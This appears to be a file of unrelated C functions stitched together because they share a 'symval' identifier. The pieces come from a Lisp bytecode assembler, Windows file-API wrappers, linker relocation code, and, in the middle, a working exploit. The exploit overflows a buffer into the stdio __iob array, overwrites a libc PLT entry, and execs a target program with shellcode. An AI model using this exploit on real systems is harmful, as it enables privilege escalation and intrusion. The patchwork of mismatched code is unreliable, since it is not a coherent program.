void assemble(SE *code,FILE *out,char first) { char *opsym; /* 1) machine code file should always start with number of used env-slots (symbols), 2) machine code should at first add T atom to its environment, like this: (CONST t NAME t). */ if(first==1) fprintf(out,"(%d %d t %d 0 ",symbols_p,O_CONST,O_NAME); else fprintf(out,"( "); while(code!=NULL) { opsym=symval(car(code)); fprintf(out,"%d ",opcode(opsym)); if(strcmp(opsym,"const")==0) { write_se(car(cdr(code)),out); fprintf(out," "); code=cdr(cdr(code)); continue; } else if(strcmp(opsym,"lookup")==0 || strcmp(opsym,"name")==0 || strcmp(opsym,"forget")==0) { fprintf(out,"%d ",sym2num(symval(car(cdr(code))))); code=cdr(cdr(code)); continue; } else if(strcmp(opsym,"select")==0 || strcmp(opsym,"srelect")==0) { assemble(car(cdr(code)),out,0); assemble(car(cdr(cdr(code))),out,0); code=cdr(cdr(cdr(code))); continue; } else if(strcmp(opsym,"proc")==0) { assemble(car(cdr(code)),out,0); code=cdr(cdr(code)); continue; } else { code=cdr(code); } } /* while... */ fprintf(out,") "); }
void gather_symbols(SE *code) { char *opsym; while(code!=NULL) { /* unarne CONST, LOOKUP i FORGET przeskakujemy od razu */ opsym=symval(car(code)); if(strcmp(opsym,"const")==0 || strcmp(opsym,"lookup")==0 || strcmp(opsym,"forget")==0) { code=cdr(cdr(code)); continue; } else /* NAME to to czego szukamy */ if(strcmp(opsym,"name")==0) { push_symbol(symval(car(cdr(code)))); code=cdr(cdr(code)); continue; } else /* może S(R)ELECT? */ if(strcmp(opsym,"select")==0 || strcmp(opsym,"srelect")==0) { /* teraz czytelnik może się faktycznie wzruszyć */ gather_symbols(car(cdr(code))); gather_symbols(car(cdr(cdr(code)))); code=cdr(cdr(cdr(code))); continue; } else /* może chociaż PROC? */ if(strcmp(opsym,"proc")==0) { gather_symbols(car(cdr(code))); code=cdr(cdr(code)); continue; } else /* a więc nic ciekawego */ { code=cdr(code); } } /* while... */ }
static int do_CreateFile(int argc, wchar_t **argv) { if (argc != 8) fail("usage: CreateFile FileName DesiredAccess ShareMode 0 CreationDisposition FlagsAndAttributes 0"); HANDLE h = CreateFileW(argv[1], symval(argv[2]), symval(argv[3]), 0, symval(argv[5]), symval(argv[6]), 0); errprint(INVALID_HANDLE_VALUE != h); return 0; }
static int do_MoveFileEx(int argc, wchar_t **argv) { if (argc != 4) fail("usage: MoveFileEx ExistingFileName NewFileName Flags"); BOOL r = MoveFileExW(argv[1], argv[2], symval(argv[3])); errprint(r); return 0; }
static int do_SetFileAttributes(int argc, wchar_t **argv) { if (argc != 3) fail("usage: SetFileAttributes FileName FileAttributes"); BOOL r = SetFileAttributesW(argv[1], symval(argv[2])); errprint(r); return 0; }
void _write_se(SE *e) { char numbuf[23]; if(e==NIL) { c_out("()"); return; } switch(type(e)) { case NUM: sprintf(numbuf,"%d",numval(e)); c_out(numbuf); break; case SYM: c_out(symval(e)); break; case CONS: c_out("("); write_cdr(e); break; } }
main(int argc, char **argv) { char *env = NULL; char *library = "/usr/lib/libc.so"; char *function = "_exithandle"; u_long off, uoff = 0; u_long libaddr, pltaddr, bufaddr, iobaddr; u_long pltent; char *prognam, *bufnam; int buflen; char *badbuf; u_long *bp; int c; extern char *optarg; extern int optind; char **arg0, **arg; prog = strrchr(argv[0], '/'); if (prog) ++prog; else prog = argv[0]; while ((c = getopt(argc, argv, "l:f:o:e:")) != EOF) switch (c) { case 'l': library = optarg; break; case 'f': function = optarg; break; case 'o': uoff = strtol(optarg, (char **)0, 0); break; case 'e': env = optarg; break; default: usage(); } if (argc - optind < 3) usage(); bufnam = argv[optind]; /* * This is the address that the library in which `function' * lives gets mapped to in the child address space. We could force * a non-privileged copy of `prognam' to dump core, and fish * out the memory mappings from the resulting core file; but this * is really something users should be able to do themselves. */ libaddr = strtoul(argv[optind+1], (char **)0, 0); if (libaddr == 0) { fprintf(stderr, "%s: impossible library virtual address: %s\n", prog, argv[optind+1]); exit(1); } printf("Using library %s at 0x%p\n", library, libaddr); prognam = argv[optind+2]; arg0 = &argv[optind+3]; /* * `pltaddr' is the offset at which the library's PLT will be * at from `libaddr'. */ pltaddr = symval(library, PLT_SYMBOL); if (pltaddr == 0) { fprintf(stderr, "%s: could not find PLT offset from library\n", prog); exit(1); } printf("Using PLT at 0x%p\n", pltaddr); /* * `off' is the offset from `pltaddr' in which the desired * function's PLT entry is. */ off = plt_offset(library, function); if (off == 0) { fprintf(stderr, "%s: impossible offset from PLT returned\n", prog); exit(1); } printf("Found %s at 0x%p\n", function, off); /* * `bufaddr' is the name (or address) of the buffer we want to * overflow. It's not a stack buffer, so finding it out is trivial. */ if (bufnam[0] == '@') bufaddr = strtol(&bufnam[1], (char **)0, 0); else bufaddr = symval(prognam, bufnam); if (bufaddr == 0) { fprintf(stderr, "%s: illegal buffer address: %s\n", prog, prognam); exit(1); } printf("Buffer at 0x%p\n", bufaddr); /* * `iobaddr' is obviously the address of the stdio(3) array. */ iobaddr = symval(prognam, "__iob"); if (iobaddr == 0) { fprintf(stderr, "%s: could not find iob[] in %s\n", prog, prognam); exit(1); } printf("iob[] at 0x%p\n", iobaddr); /* * This is the absolute address of the PLT entry we want to * overwrite. */ pltent = libaddr + pltaddr + off; buflen = iobaddr - bufaddr; if (buflen < shell_len) { fprintf(stderr, "%s: not enough space for shell code\n", prog); exit(1); } if (env) { buflen += strlen(env) + 5; if (buflen & 3) { fprintf(stderr, "%s: alignment problem\n", prog); exit(1); } } badbuf = (char *)malloc(buflen); if (badbuf == 0) { fprintf(stderr, "%s: out of memory\n", prog); exit(1); } if (env) { buflen -= (strlen(env) + 5); sprintf(badbuf, "%s=", env); bp = (u_long *)&badbuf[strlen(badbuf)]; } else bp = (u_long *)badbuf; buflen /= sizeof (*bp); for (c = 0; c < shell_len; c++) *bp++ = shellcode[c]; for (; c < buflen; c++) *bp++ = meow; /* * stdin -- whatever */ *bp++ = -29; *bp++ = 0xef7d7310; *bp++ = 0xef7d7310 - 29; *bp++ = 0x0101ffff; /* * stdout */ *bp++ = -29; *bp++ = pltent - uoff; *bp++ = pltent - 29; *bp++ = 0x0201ffff; /* * stderr */ *bp++ = -29; *bp++ = pltent - uoff; *bp++ = pltent - 29; *bp++ = 0x0202ffff; *bp++ = 0; printf("Using absolute address 0x%p\n", pltent - uoff); /* * Almost ready to do the exec() */ if (env) putenv(badbuf); else for (arg = arg0; arg && *arg; arg++) { if (strcmp(*arg, "%s") == 0) *arg = badbuf; } printf("Using %d bytes\n", buflen*4); if (execv(prognam, arg0) < 0) { perror("execv"); exit(1); } }
u_long plt_offset(char *lib, char *func) { int fd; Elf *elf; Elf_Scn *scn = (Elf_Scn *)0; Elf_Data *dp; Elf32_Ehdr *ehdr; Elf32_Rela *relocp = (Elf32_Rela *)0; Elf32_Word pltsz = 0; Elf32_Shdr *shdr; Elf_Scn *symtab; Elf32_Sym *symbols; char *np; u_long offset = 0; u_long plt; fd = open(lib, O_RDONLY); if (fd < 0) { perror("open"); exit(1); } /* Initializations, see elf(3E) */ (void) elf_version(EV_CURRENT); elf = elf_begin(fd, ELF_C_READ, 0); if (elf == (Elf *)0) elferr(); ehdr = elf32_getehdr(elf); if (ehdr == (Elf32_Ehdr *)0) elferr(); /* * Loop through sections looking for the relocation entries * associated with the procedure linkage table. */ while ((scn = elf_nextscn(elf, scn))) { shdr = elf32_getshdr(scn); if (shdr == (Elf32_Shdr *)0) elferr(); if (shdr->sh_type == SHT_RELA) { np = elf_strptr(elf, ehdr->e_shstrndx, (size_t) shdr->sh_name); if (np && !strcmp(np, ".rela.plt")) break; } } if (scn == (Elf_Scn *)0) { fprintf(stderr, "%s: .rela.plt section not found\n", prog); exit(1); } dp = elf_getdata(scn, (Elf_Data *)0); if (dp == (Elf_Data *)0) elferr(); if (dp->d_size == 0) { fprintf(stderr, "%s: .rela.plt section empty\n", prog); exit(1); } /* * The .rela.plt section contains an array of relocation entries, * the first 4 are not used. */ relocp = (Elf32_Rela *)dp->d_buf; pltsz = dp->d_size / sizeof (*relocp); relocp += 4; pltsz -= 4; /* * Find the symbol table associated with this section. */ symtab = elf_getscn(elf, shdr->sh_link); if (symtab == (Elf_Scn *)0) elferr(); shdr = elf32_getshdr(symtab); if (shdr == (Elf32_Shdr *)0) elferr(); dp = elf_getdata(symtab, (Elf_Data *)0); if (dp == (Elf_Data *)0) elferr(); if (dp->d_size == 0) { fprintf(stderr, "%s: dynamic symbol table empty\n", prog); exit(1); } symbols = (Elf32_Sym *)dp->d_buf; /* * Loop through the relocation list, looking for the desired * symbol. */ while (pltsz-- > 0) { Elf32_Word ndx = ELF32_R_SYM(relocp->r_info); np = elf_strptr(elf, shdr->sh_link, (size_t) symbols[ndx].st_name); if (np && !strcmp(np, func)) break; relocp++; } if (relocp) { plt = symval(lib, PLT_SYMBOL); offset = relocp->r_offset - plt; } (void) elf_end(elf); (void) close(fd); return (offset); }
VOID relp3() { int aindex, rindex; int mode, rtp; a_uint relv; struct areax **a; struct sym **s; /* * Get area and symbol lists */ a = hp->a_list; s = hp->s_list; /* * Verify Area Mode */ if (eval() != (R3_WORD | R3_AREA) || eval()) { fprintf(stderr, "P input error\n"); lkerr++; } /* * Get area pointer */ aindex = (int) evword(); if (aindex >= hp->h_narea) { fprintf(stderr, "P area error\n"); lkerr++; return; } /* * Do remaining relocations */ while (more()) { mode = (int) eval(); rtp = (int) eval(); rindex = (int) evword(); /* * R3_SYM or R3_AREA references */ if (mode & R3_SYM) { if (rindex >= hp->h_nsym) { fprintf(stderr, "P symbol error\n"); lkerr++; return; } relv = symval(s[rindex]); } else { if (rindex >= hp->h_narea) { fprintf(stderr, "P area error\n"); lkerr++; return; } relv = a[rindex]->a_addr; } adb_2b(relv, rtp); } /* * Paged values */ aindex = (int) adb_2b(0, 2); if (aindex >= hp->h_narea) { fprintf(stderr, "P area error\n"); lkerr++; return; } sdp.s_areax = a[aindex]; sdp.s_area = sdp.s_areax->a_bap; sdp.s_addr = adb_2b(0, 4); if (sdp.s_area->a_addr & 0xFF || sdp.s_addr & 0xFF) relerp3("Page Definition Boundary Error"); }
VOID relr3(void) { int mode; a_uint reli, relv; int aindex, rindex, rtp, error, i; a_uint r, rtbase, rtofst, paga = 0, pags = 0; struct areax **a; struct sym **s; int bmagic = 0; int mybank; /* * Get area and symbol lists */ a = hp->a_list; s = hp->s_list; /* * Verify Area Mode */ if (eval() != (R3_WORD | R3_AREA) || eval()) { fprintf(stderr, "R input error\n"); lkerr++; return; } /* * Get area pointer */ aindex = (int) evword(); if (aindex >= hp->h_narea) { fprintf(stderr, "R area error\n"); lkerr++; return; } /* * Select Output File */ if (oflag != 0) { ap = a[aindex]->a_bap; if (ofp != NULL) { rtabnk->b_rtaflg = rtaflg; if (ofp != ap->a_ofp) { lkflush(); } } ofp = ap->a_ofp; rtabnk = ap->a_bp; rtaflg = rtabnk->b_rtaflg; } /* * Base values */ rtbase = adb_xb(0, 0); rtofst = a_bytes; /* * Relocate address */ pc = adb_xb(a[aindex]->a_addr, 0); /* * Number of 'bytes' per PC address */ pcb = 1; mybank = bankmagic(a[aindex]); #if 0 printf("area %d base address: 0x%x size: 0x%x rtbase: 0x%x\n", aindex, a[aindex]->a_addr, a[aindex]->a_size, rtbase); #endif /* * Do remaining relocations */ while (more()) { error = 0; bmagic = 0; mode = (int) eval(); if ((mode & R_ESCAPE_MASK) == R_ESCAPE_MASK) { mode = ((mode & ~R_ESCAPE_MASK) << 8) | eval(); /* printf("unescaping rmode\n"); */ } rtp = (int) eval(); rindex = (int) evword(); /* * R3_SYM or R3_AREA references */ if (mode & R3_SYM) { if (rindex >= hp->h_nsym) { fprintf(stderr, "R symbol error\n"); lkerr++; return; } reli = symval(s[rindex]); /* Check if this symbol is magic */ bmagic = bankmagic(s[rindex]->s_axp); } /* sdld specific */ else if ((IS_R_J11(mode) || IS_R_J19(mode)) && (rindex == 0xFFFF)) { /* absolute acall/ajmp address */ reli = 0; } /* end sdld specific */ else { if (rindex >= hp->h_narea) { fprintf(stderr, "R area error\n"); lkerr++; return; } reli = a[rindex]->a_addr; } /* * R3_PCR addressing */ if (mode & R3_PCR) { if (mode & R3_BYTE) { reli -= (pc + (rtp-rtofst) + 1); } else { reli -= (pc + (rtp-rtofst) + 2); } } /* * R3_PAG0 or R3_PAG addressing */ if (mode & (R3_PAG0 | R3_PAG)) { paga = sdp.s_area->a_addr; pags = sdp.s_addr; reli -= paga + pags; } /* * R3_BYTE or R3_WORD operation */ if (mode & R3_BYTE) { if (mode & R_BYT3) { /* This is a three byte address, of which * we will select one byte. */ /* sdld specific */ if (mode & R_BIT) { relv = adb_24_bit(reli, rtp); } /* sdld specific */ else if (mode & R_HIB) { /* printf("24 bit address selecting hi byte.\n"); */ relv = adb_24_hi(reli, rtp); } else if (mode & R3_MSB) { /* Note that in 24 bit mode, R3_MSB * is really the middle byte, not * the most significant byte. * * This is ugly and I can only apologize * for any confusion. */ /* printf("24 bit address selecting middle byte.\n"); */ relv = adb_24_mid(reli, rtp); } else { /* printf("24 bit address selecting lo byte.\n"); */ relv = adb_24_lo(reli, rtp); } } else if (mode & R3_BYTX) { /* This is a two byte address, of * which we will select one byte. */ if (mode & R_BIT) { relv = adb_bit(reli, rtp); } else if (mode & R3_MSB) { relv = adb_hi(reli, rtp); } else { relv = adb_lo(reli, rtp); } } else { relv = adb_1b(reli, rtp); } } else if (IS_R_J11(mode)) { /* * JLH: 11 bit jump destination for 8051. * Forms two byte instruction with * op-code bits in the MIDDLE! * rtp points at 3 byte locus: * first two will get the address, * third one has raw op-code */ /* * Calculate absolute destination * relv must be on same 2K page as pc */ relv = adb_2b(reli, rtp); if ((relv & ~((a_uint) 0x000007FF)) != ((pc + rtp - rtofst) & ~((a_uint) 0x000007FF))) { error = 6; } /* * Merge MSB with op-code, * ignoring top 5 bits of address. * Then hide the op-code. */ rtval[rtp] = ((rtval[rtp] & 0x07)<<5) | rtval[rtp+2]; rtflg[rtp + 2] = 0; rtofst += 1; } else if (IS_R_J19(mode)) { /* * BK: 19 bit jump destination for DS80C390. * Forms four byte instruction with * op-code bits in the MIDDLE! * rtp points at 4 byte locus: * first three will get the address, * fourth one has raw op-code */ relv = adb_3b(reli, rtp); /* * Calculate absolute destination * relv must be on same 512K page as pc */ if ((relv & ~((a_uint) 0x0007FFFF)) != ((pc + rtp - rtofst) & ~((a_uint) 0x0007FFFF))) { error = 7; } /* * Merge MSB with op-code, * ignoring top 5 bits of address. * Then hide the op-code. */ rtval[rtp] = ((rtval[rtp] & 0x07)<<5) | rtval[rtp+3]; rtflg[rtp + 3] = 0; rtofst += 1; } else if (IS_C24(mode)) { /* * 24 bit destination */ relv = adb_3b(reli, rtp); } else { /* 16 bit address. */ if (bmagic) bankingstub(s[rindex], a[aindex], bmagic, a[aindex]->a_addr + rtbase + rtp - rtofst); relv = adb_2b(reli, rtp); } /* * R3_BYTE with R3_BYTX offset adjust */ if (mode & R3_BYTE) { if (mode & R3_BYTX) { rtofst += (a_bytes - 1); } } /* * Unsigned Byte Checking */ if (mode & R3_USGN && mode & R3_BYTE && relv & ~((a_uint) 0x000000FF)) error = 1; /* * PCR Relocation Error Checking */ if (mode & R3_PCR && mode & R3_BYTE) { r = relv & ~0x7F; if (r != (a_uint) ~0x7F && r != 0) error = 2; } /* * Page Relocation Error Checking */ if ((TARGET_IS_GB || TARGET_IS_Z80) && mode & R3_PAG0 && (relv & ~0xFF || paga || pags)) error = 4; if (mode & R3_PAG && (relv & ~0xFF)) error = 5; /* sdld specific */ if ((mode & R_BIT) && (relv & ~0x87FF)) error = 10; /* end sdld specific */ /* * Error Processing */ if (error) { rerr.aindex = aindex; rerr.mode = mode; rerr.rtbase = rtbase + rtp - rtofst - 1; rerr.rindex = rindex; rerr.rval = relv - reli; relerr3(errmsg3[error]); for (i=rtp; i<rtp+a_bytes; i++) { if (rtflg[i]) { rterr[i] = error; break; } } } } if (uflag != 0) { lkulist(1); } if (oflag != 0) { lkout(1, mybank); } }